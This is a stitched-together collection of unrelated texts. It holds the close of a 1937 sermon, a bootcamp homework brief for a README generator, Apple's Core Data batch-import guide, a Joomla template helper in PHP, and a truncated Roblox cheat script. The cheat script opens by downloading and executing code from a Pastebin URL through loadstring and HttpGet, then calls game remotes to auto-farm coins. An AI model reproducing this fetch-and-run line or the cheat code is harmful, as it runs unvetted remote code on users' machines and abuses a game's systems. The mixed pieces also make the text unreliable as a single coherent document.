preacher, "I am not really convinced by what you say. I am not sure but what I could answer every argument you have presented, but one thing puzzles me and makes me feel that there is power in your message. I cannot understand why you go to so much trouble and why you labor with me in this way, as if you cared for my soul! " That is it! Many a skeptic has been won to Christ, not so much by argument as by realizing that the preacher believed what he said. A Jewish millionaire went to the Royal Opera House, London, to hear D. L. Moody. One of his friends said to him, "You don't believe what he preaches, do you?" And the reply was to the point, "No, I don't; but he does. And that is why I go to hear that man." Alexander Duff said, "I would stand on a street comer in India, and I would clap two shoes together if thereby I could claim the attention of the people to the things of Christ." When, after 25 years in India, Dr. Duff's health broke down and he had to come home, he was so enfeebled that when he addressed the General Assembly, half way through his address he sank down fainting on the platform. As soon as he revived, he said, "I haven't finished my speech. Take me back again!" Once more he faced that assembly. This is what he said: "Mr. Moderator, if it is true that Scotland has no more sons to give to the service of the Lord in India, then old man that I am, having lost my health in that land and having come home to die, I will be off tomorrow to let them know that there is one old Scotsman who is prepared to die for them. Gladly will I lay down my life on the shores of the Ganges, if only I can plead once more with India to come to Christ. " That is the passion for souls. May God give it to us! An Address Delivered at the 1937 Moody Founder's Week Conference.
StevenSJones
# Unit 09 Node.js and ES6+ Homework: Good README Generator When creating an open source project on GitHub, it is important to have a quality README with information about the app--what is the app for, how to use the app, how to install it, how to report issues, and how to make contributions so that other developers are more likely to use and contribute to the success of the project. A command-line application will allow for quick and easy generation of a project README to get started quickly. This will allow a project creator to spend more time working on finishing the project and less time creating a good README. Your task is to create a command-line application that dynamically generates a professional README.md from a user's input using the [Inquirer package](https://www.npmjs.com/package/inquirer). Review the [Good README guide](../../01-HTML-Git-CSS/04-Supplemental/Good-README-Guide/README.md) as a reminder of everything that a quality, professional README contains. The application will be invoked with the following command: ``` node index.js ``` Because this is a command-line application that won’t be deployed, you’ll also need to provide a link to a walkthrough video that demonstrates the functionality of your application. Revisit the Screencastify Tutorial in the prework as a refresher on how to record video from your computer. ## User Story ``` AS A developer I WANT a README generator SO THAT can quickly create a professional README for a new project ``` ## Acceptance Criteria ```md GIVEN a command-line application that accepts user input WHEN I am prompted for information about my application repository THEN a quality, professional README.md is generated with the title of your project and sections entitled Description, Table of Contents, Installation, Usage, License, Contributing, Tests, and Questions WHEN I enter my project title THEN this is displayed as the title of the README WHEN I enter a description, installation instructions, usage information, contribution guidelines, and test instructions THEN this information is added to the sections of the README entitled Description, Installation, Usage, Contributing, and Tests WHEN I choose a license for my application from a list of options THEN a badge for that license is added hear the top of the README and a notice is added to the section of the README entitled License that explains which license the application is covered under WHEN I enter my GitHub username THEN this is added to the section of the README entitled Questions, with a link to my GitHub profile WHEN I enter my email address THEN this is added to the section of the README entitled Questions, with instructions on how to reach me with additional questions WHEN I click on the links in the Table of Contents THEN I am taken to the corresponding section of the README ``` ## Minimum Application Requirements * Meets [Submission Requirements](#submission-requirements) in the following section. * Functional application. * GitHub repository with a unique name and a README describing project. * The generated README includes the following sections: * Title * Description * Table of Contents * Installation * Usage * License * Contributing * Tests * Questions * The generated README includes 1 badge that's specific to the repository. ## Submission Requirements Because this is a CLI App, there will be no need to deploy it to Heroku. This time, though, you need to include a video showing us that you got the app working with no bugs. You should include a link to the video in your application's `README.md` file. * Create a `.gitignore` file and include `node_modules/` and `.DS_Store/`. * `node_modules` is not tracked and uploaded to GitHub. (Hint: It is easy if you create your `.gitignore` file before installing dependencies with npm.) * Repo **MUST** include `package.json` with required dependencies. (Hint: Run `npm init` when you first setup the project before installing any dependencies.) * Include a video of the typical user flow through your application. This includes views of the prompts and the responses after their selection. * Include any other screenshots you deem necessary to help someone who has never been introduced to your application understand the purpose and function of it. This is how you will communicate to potential employers/other developers in the future what you built and why, and to show how it works. * Because screenshots (and well-written READMEs) are extremely important in the context of GitHub, this will be part of the grading. ## Commit Early and Often One of the most important skills to master as a web developer is version control. Building the habit of committing via Git is important for two reasons: * Your commit history is a signal to employers that you are actively working on projects and learning new skills. * Your commit history allows you to revert your code base in the event that you need to return to a previous state. Follow these guidelines for committing: * Make single-purpose commits for related changes to ensure a clean, manageable history. If you are fixing two issues, make two commits. * Write descriptive, meaningful commit messages so that you and anyone else looking at your repository can easily understand its history. * Don't commit half-done work, for the sake of your collaborators (and your future self!). * Test your application before you commit to ensure functionality at every step in the development process. We would like you to have more than 200 commits by graduation, so commit early and often! ## Submission on BCS You are required to submit the following: * A walkthrough video demonstrating the functionality of the application. * A sample README.md file for a project repository generated using your application. * The URL of the GitHub repository. Give the repository a unique name and include a README describing the project.
charlieInDen
# Loading and Displaying a Large Data Feed Consume data in the background, and lower memory usage by batching imports and preventing duplicate records in the Core Data store. ## Overview This sample app shows a list of earthquakes recorded in the United States in the past 30 days by consuming a U. S. Geological Survey (USGS) real time data feed. Press the app’s refresh button to load the USGS JSON feed on the URLSession’s default delegate queue, which is a serial operations queue running in the background. Once the feed downloads, continue working on this queue to import the large number of feed elements to the store without blocking the main queue. ## Import Data in the Background To import data in the background, you need two managed object contexts: a main queue context to provide data to the user interface, and a private queue context to perform the import on a background queue. Create a main queue context by setting up your Core Data stack using [`NSPersistentContainer`](https://developer.apple.com/documentation/coredata/nspersistentcontainer), which initializes a main queue context in its [`viewContext`](https://developer.apple.com/documentation/coredata/nspersistentcontainer/1640622-viewcontext) property. ``` swift let container = NSPersistentContainer(name: "Earthquakes") ``` Create a private queue context by calling the persistent container’s [`newBackgroundContext()`](https://developer.apple.com/documentation/coredata/nspersistentcontainer/1640581-newbackgroundcontext) method. ``` swift let taskContext = persistentContainer.newBackgroundContext() ``` When the feed download finishes, use the task context to consume the feed in the background. Wrap your work in a [`performAndWait()`](https://developer.apple.com/documentation/coredata/nsmanagedobjectcontext/1506364-performandwait) block. ``` swift // taskContext.performAndWait runs on the URLSession's delegate queue // so it won’t block the main thread. taskContext.performAndWait { ``` For more information about working with concurrency, see [`NSManagedObjectContext`](https://developer.apple.com/documentation/coredata/nsmanagedobjectcontext#1654001). ## Update the User Interface To show the imported data in the user interface, merge it from the private queue into the main queue. Set the `viewContext`’s [`automaticallyMergesChangesFromParent`](https://developer.apple.com/documentation/coredata/nsmanagedobjectcontext/1845237-automaticallymergeschangesfrompa) property to `true`. ``` swift // Merge the changes from other contexts automatically. container.viewContext.automaticallyMergesChangesFromParent = true ``` Both contexts are connected to the same [`persistentStoreCoordinator`](https://developer.apple.com/documentation/coredata/nspersistentcontainer/1640567-persistentstorecoordinator), which serves as their parent for data merging purposes. This is more efficient than merging between parent and child contexts. When the background context saves, Core Data observes the changes to the store and merges them into the `viewContext` automatically. Then [`NSFetchedResultsController`](https://developer.apple.com/documentation/coredata/nsfetchedresultscontroller) observes changes to the `viewContext`, and updates the user interface accordingly. Finally, dispatch any user interface state updates back to the main queue. ``` swift dataProvider.fetchQuakes { error in DispatchQueue.main.async { // Update the spinner and refresh button states. self.navigationItem.rightBarButtonItem?.isEnabled = true UIApplication.shared.isNetworkActivityIndicatorVisible = false self.spinner.stopAnimating() // Show an alert if there was an error. guard let error = error else { return } let alert = UIAlertController(title: "Fetch quakes error!", message: error.localizedDescription, preferredStyle: .alert) alert.addAction(UIAlertAction(title: "OK", style: .default, handler: nil)) self.present(alert, animated: true, completion: nil) } } ``` ## Work in Batches to Lower Your Memory Footprint Core Data caches the objects that are fetched or created in a context, to avoid a round trip to the store file when these objects are needed again. However, your app’s memory footprint grows as you import more and more objects. To avoid a low memory warning or termination by iOS, perform the import in batches and reset the context after each batch. Split the import into batches by dividing the total number of records by your chosen batch size. ``` swift let batchSize = 256 let count = geoJSON.quakePropertiesArray.count // Determine the total number of batches. var numBatches = count / batchSize numBatches += count % batchSize > 0 ? 1 : 0 for batchNumber in 0 ..< numBatches { // Determine the range for this batch. let batchStart = batchNumber * batchSize let batchEnd = batchStart + min(batchSize, count - batchNumber * batchSize) let range = batchStart..<batchEnd // Create a batch for this range from the decoded JSON. let quakesBatch = Array(geoJSON.quakePropertiesArray[range]) // Stop the entire import if any batch is unsuccessful. if !importOneBatch(quakesBatch, taskContext: taskContext) { return } } ``` Reset the context after importing each batch by calling [`reset()`](https://developer.apple.com/documentation/coredata/nsmanagedobjectcontext/1506807-reset). ``` swift taskContext.reset() ``` ## Prevent Duplicate Data in the Store Every time you refresh the feed, the data downloaded from the remote server contains all earthquake records for the past month, so it can have many duplicates of data you’ve already imported. To avoid creating duplicate records, you constrain an attribute, or combination of attributes, to be unique across all instances. The `code` attribute uniquely identifies an earthquake record, so constraining the `Quake` entity on `code` ensures that no two stored records have the same `code` value. Select the `Quake` entity in the data model editor. In the data model inspector, add a new constraint by clicking the + button under the Constraints list. A constraint placeholder appears. ``` comma, separated, properties ``` Double-click the placeholder to edit it. Enter the name of the attribute (or comma-separated list of attributes) to serve as unique constraints on the entity. ``` code ``` When saving a new record, the store now checks whether any record already exists with the same value for the constrained attribute. In the case of a conflict, an [`NSMergeByPropertyObjectTrump`](https://developer.apple.com/documentation/coredata/nsmergebypropertyobjecttrumpmergepolicy) policy comes into play, and the new record overwrites all fields in the existing record.
miltoncorniell
<?php /* #------------------------------------------------------------------------ T3 Framework for Joomla 1.5 #------------------------------------------------------------------------ #Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved. #@license - GNU/GPL, http://www.gnu.org/copyleft/gpl.html #Author: J.O.O.M Solutions Co., Ltd #Websites: http://www.joomlart.com - http://www.joomlancers.com #------------------------------------------------------------------------ */ define ('JA_TOOL_COLOR', 'ja_color'); define ('JA_TOOL_SCREEN', 'ja_screen'); define ('JA_TOOL_FONT', 'ja_font'); define ('JA_TOOL_MENU', 'ja_menu'); require_once (dirname(__FILE__).DS.'ja.obj.extendable.php'); class JATemplateHelper extends ObjectExtendable { function JATemplateHelper ($template, $_params_cookie=null) { $helper = new JATemplateHelper1 ($template, $_params_cookie); $this->_extend (array($template, $helper)); } function &getInstance($template=null, $_params_cookie=null) { static $instance; if (!isset( $instance )) { $instance = new JATemplateHelper ($template, $_params_cookie); } return $instance; } function display ($layout) { $this->_load ($layout); } function _load ($layout) { if (($layoutpath = $this->layout_exists ($layout))) { include ($layoutpath); } } function _display ($layout) { $tmplTools = JATemplateHelper::getInstance(); $tmplTools->display ($layout); } function loadBlock ($name) { $this->_load ('blocks'.DS.$name); } //Override template countModules function: prevent empty count. function countModules ($modules) { if ($this->isContentEdit()) return 0; $_tpl = $this->_tpl; return $modules?$_tpl->countModules ($modules):0; } } class JATemplateHelper1 { var $_params_cookie = null; //Params will store in cookie for user select. Default: store all params var $_tpl = null; var $template = ''; var $_positions = null; var $_colwidth = null; var $_basewidth = 10; function JATemplateHelper1 ($template, $_params_cookie=null) { //$this->_extend ($template); $this->_tpl = $template; $this->template = $template->template; if(!$_params_cookie) { $this->_params_cookie = $this->_tpl->params->toArray(); } else { foreach ($_params_cookie as $k) { $this->_params_cookie[$k] = $this->_tpl->params->get($k); } } $this->getUserSetting(); $this->_colwidth = array(); $this->_positions = array(); } function addParamCookie ($_params_cookie) { if (!is_array($_params_cookie)) $_params_cookie = array($_params_cookie); $tpl = $this->_tpl; foreach ($_params_cookie as $k) { $this->_params_cookie[$k] = $tpl->params->get($k); } $this->getUserSetting(); } function &getInstance1($template=null, $_params_cookie=null) { static $instance; if (!isset( $instance )) { $instance = new JATemplateHelper1 ($template, $_params_cookie); } return $instance; } function getUserSetting(){ $exp = time() + 60*60*24*355; if (isset($_COOKIE[$this->template.'_tpl']) && $_COOKIE[$this->template.'_tpl'] == $this->template){ foreach($this->_params_cookie as $k=>$v) { $kc = $this->template."_".$k; if (JRequest::getVar($k, null, 'GET') !== null) { $v = preg_replace('/[\x00-\x1F\x7F<>;\/\"\'%()]/', '', JRequest::getString($k, '', 'GET')); setcookie ($kc, $v, $exp, '/'); }else{ if (isset($_COOKIE[$kc])){ $v = $_COOKIE[$kc]; } } $this->setParam($k, $v); } }else{ setcookie ($this->template.'_tpl', $this->template, $exp, '/'); } return $this; } function getParam ($param, $default='', $raw=false) { if (isset($this->_params_cookie[$param])) { if ($raw) return $this->_params_cookie[$param]; else return preg_replace('/[\x00-\x1F\x7F<>;\/\"\'%()]/', '', $this->_params_cookie[$param]); } if ($raw) $this->_tpl->params->get($param, $default); return preg_replace('/[\x00-\x1F\x7F<>;\/\"\'%()]/', '', $this->_tpl->params->get($param, $default)); } function setParam ($param, $value) { $this->_params_cookie[$param] = $value; } function getCurrentURL(){ $cururl = JRequest::getURI(); if(($pos = strpos($cururl, "index.php"))!== false){ $cururl = substr($cururl,$pos); } $cururl = JRoute::_($cururl, true, 0); return $cururl; } function genToolMenu($_array_tools=null, $imgext = 'gif'){ if(!is_array($_array_tools)) $_array_tools = array($_array_tools); if(!$_array_tools) $_array_tools = array_keys($this->_params_cookie); if (in_array(JA_TOOL_FONT, $_array_tools)){//show font tools ?> <ul class="ja-usertools-font"> <li><img style="cursor: pointer;" title="<?php echo JText::_('Increase font size');?>" src="<?php echo $this->templateurl();?>/images/user-increase.<?php echo $imgext;?>" alt="<?php echo JText::_('Increase font size');?>" id="ja-tool-increase" onclick="switchFontSize('<?php echo $this->template."_".JA_TOOL_FONT;?>','inc'); return false;" /></li> <li><img style="cursor: pointer;" title="<?php echo JText::_('Default font size');?>" src="<?php echo $this->templateurl();?>/images/user-reset.<?php echo $imgext;?>" alt="<?php echo JText::_('Default font size');?>" id="ja-tool-reset" onclick="switchFontSize('<?php echo $this->template."_".JA_TOOL_FONT;?>',<?php echo $this->_tpl->params->get(JA_TOOL_FONT);?>); return false;" /></li> <li><img style="cursor: pointer;" title="<?php echo JText::_('Decrease font size');?>" src="<?php echo $this->templateurl();?>/images/user-decrease.<?php echo $imgext;?>" alt="<?php echo JText::_('Decrease font size');?>" id="ja-tool-decrease" onclick="switchFontSize('<?php echo $this->template."_".JA_TOOL_FONT;?>','dec'); return false;" /></li> </ul> <script type="text/javascript">var CurrentFontSize=parseInt('<?php echo $this->getParam(JA_TOOL_FONT);?>');</script> <?php } } function getCurrentMenuIndex(){ $Itemid = JRequest::getInt( 'Itemid'); $database =& JFactory::getDBO(); $id = $Itemid; $menutype = 'mainmenu'; $ordering = '0'; while (1){ $sql = "select parent, menutype, ordering from #__menu where id = $id limit 1"; $database->setQuery($sql); $row = null; $row = $database->loadObject(); if ($row) { $menutype = $row->menutype; $ordering = $row->ordering; if ($row->parent > 0) { $id = $row->parent; }else break; }else break; } $user =& JFactory::getUser(); if (isset($user)) { $aid = $user->get('aid', 0); $sql = "SELECT count(*) FROM #__menu AS m" . "\nWHERE menutype='". $menutype ."' AND published='1' AND access <= '$aid' AND parent=0 and ordering < $ordering"; } else { $sql = "SELECT count(*) FROM #__menu AS m" . "\nWHERE menutype='". $menutype ."' AND published='1' AND parent=0 and ordering < $ordering"; } $database->setQuery($sql); return $database->loadResult(); } function calSpotlight ($spotlight, $totalwidth=100, $specialwidth=0, $special='first') { /******************************************** $spotlight = array ('position1', 'position2',...) *********************************************/ $modules = array(); $modules_s = array(); foreach ($spotlight as $position) { if( $this->_tpl->countModules ($position) ){ $modules_s[] = $position; } $modules[$position] = array('class'=>'-full','width'=>$totalwidth.'%'); } if (!count($modules_s)) return null; if ($specialwidth) { if (count($modules_s)>1) { $width = round(($totalwidth-$specialwidth)/(count($modules_s)-1),1) . "%"; $specialwidth = $specialwidth . "%"; }else{ $specialwidth = $totalwidth . "%"; } }else{ $width = (round($totalwidth/(count($modules_s)),2)) . "%"; $specialwidth = $width; } if (count ($modules_s) > 1){ $modules[$modules_s[0]]['class'] = "-left"; $modules[$modules_s[0]]['width'] = ($special=='left')?$specialwidth:$width; $modules[$modules_s[count ($modules_s) - 1]]['class'] = "-right"; $modules[$modules_s[count ($modules_s) - 1]]['width'] = ($special=='right')?$specialwidth:$width; for ($i=1; $i<count ($modules_s) - 1; $i++){ $modules[$modules_s[$i]]['class'] = "-center"; $modules[$modules_s[$i]]['width'] = $width; } } return $modules; } function isIE6 () { $msie='/msie\s(5\.[5-9]|[6]\.[0-9]*).*(win)/i'; return isset($_SERVER['HTTP_USER_AGENT']) && preg_match($msie,$_SERVER['HTTP_USER_AGENT']) && !preg_match('/opera/i',$_SERVER['HTTP_USER_AGENT']); } function isIE () { $msie='/msie/i'; return isset($_SERVER['HTTP_USER_AGENT']) && preg_match($msie,$_SERVER['HTTP_USER_AGENT']) && !preg_match('/opera/i',$_SERVER['HTTP_USER_AGENT']); } function isOP () { return isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/opera/i',$_SERVER['HTTP_USER_AGENT']); } function getRandomImage ($img_folder) { if (!is_dir ($img_folder)) return ''; $imglist=array(); mt_srand((double)microtime()*1000); //use the directory class $imgs = dir($img_folder); //read all files from the directory, checks if are images and ads them to a list (see below how to display flash banners) while ($file = $imgs->read()) { if (eregi("gif", $file) || eregi("jpg", $file) || eregi("png", $file)) $imglist[] = $file; } closedir($imgs->handle); if(!count($imglist)) return ''; //generate a random number between 0 and the number of images $random = mt_rand(0, count($imglist)-1); $image = $imglist[$random]; return $image; } function isFrontPage(){ return (JRequest::getCmd( 'view' ) == 'frontpage') ; } function isContentEdit() { return (JRequest::getCmd( 'option' )=='com_content' && JRequest::getCmd( 'view' ) == 'article' && (JRequest::getCmd( 'task' ) == 'edit' || JRequest::getCmd( 'layout' ) == 'form')); } function sitename() { $config = new JConfig(); return $config->sitename; } function browser () { $agent = $_SERVER['HTTP_USER_AGENT']; if ( strpos($agent, 'Gecko') ) { if ( strpos($agent, 'Netscape') ) { $browser = 'NS'; } else if ( strpos($agent, 'Firefox') ) { $browser = 'FF'; } else { $browser = 'Moz'; } } else if ( strpos($agent, 'MSIE') && !preg_match('/opera/i',$agent) ) { $msie='/msie\s(7|8\.[0-9]).*(win)/i'; if (preg_match($msie,$agent)) $browser = 'IE7'; else $browser = 'IE6'; } else if ( preg_match('/opera/i',$agent) ) { $browser = 'OPE'; } else { $browser = 'Others'; } return $browser; } function baseurl(){ return JURI::base(); } function templateurl(){ return JURI::base()."templates/".$this->template; } function basepath(){ return JPATH_SITE; } function templatepath(){ return $this->basepath().DS."templates".DS.$this->template; } function getLayout () { global $Itemid, $option; if (($mobile = $this->mobile_device_detect_layout())) { // if agent is Iphone if( $mobile == 'iphone' ) { $iphone = $this->_tpl->params->get ( 'iphone_layout', $mobile ); if ( $iphone != -1 && $this->layout_exists ($iphone) ) { return $iphone; } } // Other Handheld device $handheld = $this->_tpl->params->get ( 'other_handheld_layout', 'handheld' ); if ( $handheld !=- 1 && $this->layout_exists ($handheld)) { return $handheld; } // auto dectect and choose layout with this device if (($mobile = $this->mobile_device_detect())) { if ($this->layout_exists ($mobile)) return $mobile; if ($this->layout_exists ('handheld')) return 'handheld'; } } $page_layouts = $this->_tpl->params->get ('page_layouts'); $page_layouts = str_replace ("<br />", "\n", $page_layouts); $playouts = new JParameter ($page_layouts); $layout = $playouts->get($Itemid); if ($this->layout_exists ($layout)) return $layout; $layout = $playouts->get($option); if ($this->layout_exists ($layout)) return $layout; $layout = $this->getParam ('main_layout', 'default'); if ($this->layout_exists ($layout)) return $layout; if ($this->layout_exists ('default')) return 'default'; return null; } function getMenuType () { global $Itemid, $option; if ($this->mobile_device_detect_layout()) { $mobile = $this->getLayout (); if (is_file(dirname(__FILE__).DS.'menu'.DS."$mobile.class.php")) $menutype = $mobile; else $menutype = 'handheld'; return $menutype; } $page_menus = $this->_tpl->params->get ('page_menus'); $page_menus = str_replace ("<br />", "\n", $page_menus); $pmenus = new JParameter ($page_menus); $menutype = $pmenus->get($Itemid); if (is_file(dirname(__FILE__).DS.'menu'.DS."$menutype.class.php")) return $menutype; $menutype = $pmenus->get($option); if (is_file(dirname(__FILE__).DS.'menu'.DS."$menutype.class.php")) return $menutype; $menutype = $this->getParam(JA_TOOL_MENU, 'css'); if (is_file(dirname(__FILE__).DS.'menu'.DS."$menutype.class.php")) return $menutype; return 'css'; } function mobile_device_detect () { require_once ('mobile_device_detect.php'); //bypass special browser: $special = array('jigs', 'w3c ', 'w3c-', 'w3c_'); if (in_array(strtolower(substr($_SERVER['HTTP_USER_AGENT'],0,4)), $special)) return false; return mobile_device_detect('iphone','android','opera','blackberry','palm','windows'); } function mobile_device_detect_layout () { $ui = $this->getParam('ui'); return $ui=='desktop'?false:(($ui=='mobile' && !$this->mobile_device_detect())?'iphone':$this->mobile_device_detect()); } function layout_exists ($layout) { $layoutpath = $this->templatepath().DS.'layouts'; if(is_file ($layoutpath.DS.$layout.'.php')) return $layoutpath.DS.$layout.'.php'; return false; } function loadMenu ($params = null, $menutype = 'css') { static $jamenu; if (!isset($jamenu)) { $file = dirname(__FILE__).DS.'menu'.DS."$menutype.class.php"; if (!is_file ($file)) return null; require_once ($file); $menuclass = "JAMenu{$menutype}"; $jamenu = new $menuclass ($params); //assign template object $jamenu->_tmpl = $this; //load menu $jamenu->loadMenu(); //check css/js file $file = $this->templatepath().DS.'css'.DS.'menu'.DS."$menutype.css"; if (is_file ($file)) $jamenu->_css = $this->templateurl()."/css/menu/$menutype.css"; $file = $this->templatepath().DS.'js'.DS.'menu'.DS."$menutype.js"; if (is_file ($file)) $jamenu->_js = $this->templateurl()."/js/menu/$menutype.js"; } return $jamenu; } function hasSubmenu () { $jamenu = $this->loadMenu(); if ($jamenu && $jamenu->hasSubMenu (1) && $jamenu->showSeparatedSub ) return true; return false; } function getSectionId ($catid) { $db =& JFactory::getDBO(); $query = "SELECT section FROM #__categories WHERE id=$catid;"; $db->setQuery($query); return $db->loadResult(); } function getThemeForSection () { //get the most parent menu id $query = "select params from #__modules where `module`='mod_janews2'"; $database =& JFactory::getDBO(); $database->setQuery($query); $params = new JParameter($database->loadResult()); $sections = $params->get('sections', ''); if (!$sections) return ''; global $Itemid; $mid = $Itemid; $pid = $mid; $menu = &JSite::getMenu(); if(!$menu) return; while ($pid) { $mid = $pid; $pmenu = $menu->getItem($mid); $pid = $pmenu?$pmenu->parent:0; } //Get menu item $menuitem = $menu->getItem($mid); //parse link $urls = parse_url($menuitem->link); $querystring = $urls['query']; $output = null; parse_str ($querystring,$output); $sectionid = 0; if($output['view']=='section'){ $sectionid = $output['id']; } else if($output['view']=='category'){ $catid = $output['id']; $sectionid = $this->getSectionId($catid); } if($sectionid) { $sectionids = preg_split('/[\n,]|<br \/>/', $sections); for ($i = 0; $i < count($sectionids); $i++) { $temp = preg_split('/:/',$sectionids[$i]); if(isset($temp[0]) && $temp[0]==$sectionid) { return isset($temp[1])? '-'.trim($temp[1]):''; } } } return ''; } function getLastUpdate(){ $db = &JFactory::getDBO(); $query = 'SELECT created FROM #__content a ORDER BY created DESC LIMIT 1'; $db->setQuery($query); $data = $db->loadObject(); if( $data->created ){ //return gmdate( 'h:i:s A', strtotime($data->created) ) .' GMT '; $date =& JFactory::getDate(strtotime($data->created)); $user =& JFactory::getUser(); $tz = $user->getParam('timezone'); $sec =$date->toUNIX(); //set the date time to second return gmdate("h:i:s A", $sec+$tz).' GMT'; } return ; } function countModules ($modules) { if ($this->isContentEdit()) return 0; $_tpl = $this->_tpl; return $modules?$_tpl->countModules ($modules):0; //return $modules?$this->_tpl->countModules ($modules):0; } function definePosition ($positions) { $this->_positions = $positions; //parse layout $this->_colwidth = array(); //Left $l = $l1 = $l2 = 0; $left1 = $this->getPositionName ('left1'); $left2 = $this->getPositionName ('left2'); $mt = $this->getPositionName ('left-mass-top'); $mb = $this->getPositionName ('left-mass-bottom'); if ($this->countModules ("$mt") || $this->countModules ("$mb") || ($this->countModules ("$left1") && $this->countModules ("$left2"))) { $l = 2; $l1 = $this->getColumnBasedWidth ('left1'); $l2 = $this->getColumnBasedWidth ('left2'); } else if ($this->countModules("$left1")) { $l = 1; $l1 = $this->getColumnBasedWidth ('left1'); } else if ($this->countModules("$left2")) { $l = 1; $l2 = $this->getColumnBasedWidth ('left2'); } $cls_l = $l?"l$l":""; $l = $l1 + $l2; //right $r = $r1 = $r2 = 0; $right1 = $this->getPositionName ('right1'); $right2 = $this->getPositionName ('right2'); $mt = $this->getPositionName ('right-mass-top'); $mb = $this->getPositionName ('right-mass-bottom'); if ($this->countModules ("$mt") || $this->countModules ("$mb") || ($this->countModules ("$right1") && $this->countModules ("$right2"))) { $r = 2; $r1 = $this->getColumnBasedWidth ('right1'); $r2 = $this->getColumnBasedWidth ('right2'); } else if ($this->countModules("$right1")) { $r = 1; $r1 = $this->getColumnBasedWidth ('right1'); } else if ($this->countModules("$right2")) { $r = 1; $r2 = $this->getColumnBasedWidth ('right2'); } $cls_r = $r?"r$r":""; $r = $r1 + $r2; //inset $inset1 = $this->getPositionName ('inset1'); $inset2 = $this->getPositionName ('inset2'); $i1=$i2=0; if ($this->countModules("$inset1")) $i1 = $this->getColumnBasedWidth ('inset1'); if ($this->countModules("$inset2")) $i2 = $this->getColumnBasedWidth ('inset2'); //width $this->_colwidth ['r'] = $r; if ($r) { $this->_colwidth ['r1'] = round($r1 * 100 / $r); $this->_colwidth ['r2'] = 100 - $this->_colwidth ['r1']; } $this->_colwidth ['mw'] = 100 - $r; $m = 100 - $l -$r; $this->_colwidth ['l'] = ($l + $m)?round($l * 100 / ($l + $m)):0; if ($l) { $this->_colwidth ['l1'] = round($l1 * 100 / $l); $this->_colwidth ['l2'] = 100 - $this->_colwidth ['l1']; } $this->_colwidth ['m'] = 100 - $this->_colwidth ['l']; $c = $m - $i1 - $i2; $this->_colwidth ['i2'] = round($i2 * 100 / $m); $this->_colwidth ['cw'] = 100 - $this->_colwidth ['i2']; $this->_colwidth ['i1'] = ($c+$i1)?round($i1 * 100 / ($c+$i1)):0; $this->_colwidth ['c'] = 100 - $this->_colwidth ['i1']; $cls_li = $this->countModules ($inset1)?'l1':''; $cls_ri = $this->countModules ($inset2)?'r1':''; $this->_colwidth ['cls_w'] = ($cls_l || $cls_r)?"ja-$cls_l$cls_r":""; $this->_colwidth ['cls_m'] = ($cls_li || $cls_ri)?"ja-$cls_li$cls_ri":""; $this->_colwidth ['cls_l'] = $this->countModules ("$left1 && $left2")?"ja-l2":($this->countModules ("$left1 || $left2")?"ja-l1":""); $this->_colwidth ['cls_r'] = $this->countModules ("$right1 && $right2")?"ja-r2":($this->countModules ("$right1 || $right2")?"ja-r1":""); } function customwidth ($name, $width) { if (!isset ($this->_customwidth)) $this->_customwidth = array(); $this->_customwidth [$name] = $width; } function getColumnBasedWidth ($name) { if ($this->isContentEdit()) return 0; return (isset ($this->_customwidth) && isset ($this->_customwidth[$name]) && $this->_customwidth[$name]) ? $this->_customwidth[$name]:$this->_basewidth; } function getPositionName ($name) { if (isset ($this->_positions[$name])) return trim($this->_positions[$name]); return ''; } function hasPosition ($name) { return $this->countModules ($this->getPositionName ($name)); } function getColumnWidth ($name) { if (isset($this->_colwidth [$name])) return $this->_colwidth [$name]; return null; } } make_object_extendable ('JATemplateHelper');
xXheckerX
local library = loadstring(game:HttpGet('https://pastebin.com/raw/T3tvmaz4'))() local MainWindow = library:CreateWindow("Farming") local EggsWindow = library:CreateWindow("Eggs") local GameLibrary = require(game:GetService("ReplicatedStorage"):WaitForChild("Framework"):WaitForChild("Library")) local Network = GameLibrary.Network local Run_Service = game:GetService("RunService") local rs = Run_Service.RenderStepped local CurrencyOrder = {"Gingerbread", "Tech Coins", "Fantasy Coins", "Coins", "Diamonds",} local IMightKillMyselfCauseOfThis = { --Misc ['VIP'] = {'VIP'}; --Spawn ['Town'] = {'Town', 'Town FRONT'}; ['Forest'] = {'Forest', 'Forest FRONT'}; ['Beach'] = {'Beach', 'Beach FRONT'}; ['Mine'] = {'Mine', 'Mine FRONT'}; ['Winter'] = {'Winter', 'Winter FRONT'}; ['Glacier'] = {'Glacier', 'Glacier Lake'}; ['Desert'] = {'Desert', 'Desert FRONT'}; ['Volcano'] = {'Volcano', 'Volcano FRONT'}; -- Fantasy init ['Enchanted Forest'] = {'Enchanted Forest', 'Enchanted Forest FRONT'}; ['Ancient'] = {'Ancient'}; ['Samurai'] = {'Samurai', 'Samurai FRONT'}; ['Candy'] = {'Candy'}; ['Haunted'] = {'Haunted', 'Haunted FRONT'}; ['Hell'] = {'Hell'}; ['Heaven'] = {'Heaven'}; -- Tech ['Ice Tech'] = {'Ice Tech'}; ['Tech City'] = {'Tech City'; 'Tech City FRONT'}; ['Dark Tech'] = {'Dark Tech'; 'Dark Tech FRONT'}; ['Steampunk'] = {'Steampunk'; 'Steampunk FRONT'}, ['Alien Forest'] = {"Alien Forest"; "Alien Forest FRONT"}, ['Alien Lab'] = {"Alien lab"; "Alien Lab FRONT"}; } local AreaList = { --These match the IMightKillMyselfCuaseOfThis table 'All'; 'VIP'; 'Town'; 'Forest'; 'Beach'; 'Mine'; 'Winter'; 'Glacier'; 'Desert'; 'Volcano'; 'Enchanted Forest'; 'Ancient'; 'Samurai'; 'Candy'; 'Haunted'; 'Hell'; 'Heaven'; 'Ice Tech'; 'Tech City'; 'Dark Tech'; 'Steampunk'; 'Alien Lab'; 'Alien Forest'; } local Chests = { "All"; -- Spawn "Magma Chest", -- Fantasy "Enchanted Chest", "Hell Chest", "Haunted Chest", "Angel Chest", "Grand Heaven Chest", -- Tech "Giant Tech Chest"; "Giant Steampunk Chest"; "Giant Alien Chest"; } workspace.__THINGS.__REMOTES.MAIN:FireServer("b", "buy egg") workspace.__THINGS.__REMOTES.MAIN:FireServer("b", "join coin") workspace.__THINGS.__REMOTES.MAIN:FireServer("a", "farm coin") workspace.__THINGS.__REMOTES.MAIN:FireServer("a", "claim orbs") workspace.__THINGS.__REMOTES.MAIN:FireServer("a", "change pet target") --Farms a coin. It seems to work. That's fun function FarmCoin(CoinID, PetID) game.workspace['__THINGS']['__REMOTES']["join coin"]:InvokeServer({[1] = CoinID, [2] = {[1] = PetID}}) game.workspace['__THINGS']['__REMOTES']["farm coin"]:FireServer({[1] = CoinID, [2] = PetID}) end function 